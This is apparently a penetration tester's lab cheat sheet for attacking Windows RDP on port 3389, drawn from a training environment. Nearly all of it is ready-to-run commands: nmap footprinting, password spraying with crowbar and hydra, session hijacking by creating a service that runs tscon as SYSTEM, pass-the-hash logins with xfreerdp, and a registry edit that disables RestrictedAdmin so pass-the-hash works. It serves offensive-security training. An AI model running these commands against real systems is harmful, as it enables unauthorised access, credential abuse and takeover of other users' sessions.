# RDP (3389)

#### Footprinting using nmap

```bash
nmap -sV -sC 10.129.201.248 -p3389 --script rdp*
```

#### RDP Security check

```bash
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl 10.129.201.248
```

#### Initiate an RDP Session (can also use Reminna or rdesktop)

```bash
xfreerdp /u:cry0l1t3 /p:"P455w0rd!" /v:10.129.201.248 /dynamic-resolution
```

```shell-session
# rdesktop -u admin -p password123 192.168.2.143
```

## Misconfigurations

* No password (very uncommon)
* weak password

### Password Spraying

```shell-session
# crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
```

```shell-session
# hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```

## Protocol Specific Attacks

#### Session Hijacking

Must have SYSTEM privileges. Not working on server 2019

Note: If we have local admin privs, we can use mimikatz or psexec to gain SYSTEM privs

1. List the users (we need the user id)

```
PS C:\Users\juurena> query user
```

2. use tscon.exe

```cmd-session
C:\htb> tscon {TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}
```

Use the command below to run as local system and open new terminal

```cmd-session
C:\htb> sc.exe create sessionhijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#0"
C:\htb> net start sessionhijack
```

#### Pass the Hash

```shell-session
$ xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
```

Note: if you can't pass the hash, edit the registry. Refer to pth > using linux. or the code below

```cmd-session
C:\htb> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
```

<br>
